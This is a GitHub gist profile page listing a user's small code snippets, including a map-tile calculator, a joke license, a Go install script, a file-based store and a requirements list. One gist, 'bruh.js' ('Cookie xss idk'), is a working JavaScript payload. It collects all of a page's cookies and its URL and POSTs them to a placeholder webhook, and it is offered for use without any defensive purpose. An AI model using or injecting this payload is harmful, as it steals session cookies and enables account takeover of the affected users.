Skip to content

Instantly share code, notes, and snippets.

View bluestar-b's full-sized avatar

bluestar bluestar-b

View GitHub Profile
@bluestar-b
bluestar-b / calc.py
Created October 14, 2025 07:29
simple calculator
import math
def lat_lon_to_tile(lat, lon, zoom):
n = 2 ** zoom
x = (lon + 180) / 360 * n
y = (1 - math.log(math.tan(math.radians(lat)) + 1 /
math.cos(math.radians(lat))) / math.pi) / 2 * n
return x, y
@bluestar-b
bluestar-b / license.md
Created March 19, 2025 18:01
ULTIMATE DOMINION ABSOLUTE CONTROL LICENSE

ULTIMATE DOMINION ABSOLUTE CONTROL LICENSE (UDAAC)

Copyright (c) [YEAR] [LICENSOR NAME]

By obtaining, installing, or using this software and any associated documentation files (the "Software"), the undersigned individual or entity (the "Licensee") acknowledges and agrees to be irrevocably bound by these terms. The Licensee further acknowledges that the Software is owned exclusively by the Licensor, and any attempt to violate the terms of this license shall result in instant and total annihilation of the Licensee’s rights, assets, and operational capabilities.

  1. LICENSE GRANT AND TERMINATION

1.1. No Ownership, No Mercy. The Software is not licensed, it is owned by the Licensor, and the Licensee is granted a privilege to use it under conditions set at the sole discretion of the Licensor. 1.2. The Software may be terminated, revoked, or altered at any time, for any reason, and without any notice.

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Error Dialog</title>
<style>
body, html {
font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif;
margin: 0;

Keybase proof

I hereby claim:

  • I am bluestar-b on github.
  • I am bluestar_ (https://keybase.io/bluestar_) on keybase.
  • I have a public key ASAynDNpyt_CocxbIodzIEZIZN7DfTTdDMI54x5nUBaZhgo

To claim this, I am signing this object:

#!/bin/bash
# Check if a valid Golang binary is provided
if [ $# -eq 0 ]; then
echo "Usage: $0 <golang-binary>"
exit 1
fi
# Step 1: Remove existing Golang
sudo apt-get purge golang*
@bluestar-b
bluestar-b / main.py
Last active October 9, 2023 12:08
stupid file map database
import os
import hashlib
import shutil
class SimpleMap:
def __init__(self, db_folder):
self.db_folder = db_folder
def _hash_key(self, key):
return hashlib.md5(key.encode()).hexdigest()
@bluestar-b
bluestar-b / suckmycock.c
Created May 20, 2023 10:34
for colicock
#include <stdio.h>
#include <string.h>
int main() {
char kuya[] = "Kuya Nygel";
for (;;) {
printf("%s smc\n", kuya);
}
return 0;
}
@bluestar-b
bluestar-b / bruh.js
Created April 26, 2023 14:27
Cookie xss idk
javascript:(function() {var o;o={},document.cookie.split(/\s*;\s*/).forEach((function(n){n=n.split(/\s*=\s*/);var e=decodeURIComponent(n[0]),t=decodeURIComponent(n.splice(1).join("="));o[e]=t})),(o=>{console.log(o);const n=new FormData;n.append("content",o),fetch("<your webhook>",{method:"POST",body:n})})(`\`\`\`\nurl: ${window.location.href}\n`+JSON.stringify(o,null,4)+"\n```");})();
@bluestar-b
bluestar-b / a.py
Created March 1, 2023 17:52
one part in code :/
@app.before_request
def block_directories():
path = request.path
if path.startswith('/database'):
abort(403)
@bluestar-b
bluestar-b / requirement.txt
Created March 1, 2023 15:07
save of requirement.txt before i "sudo rm -rf *" in compiler
aiohttp==3.8.3
aiosignal==1.3.1
appdirs==1.4.4
async-timeout==4.0.2
attrs==22.2.0
base65536==0.1.1
beautifulsoup4==4.9.3
certifi==2022.12.7
charset-normalizer==2.1.1
click==8.1.3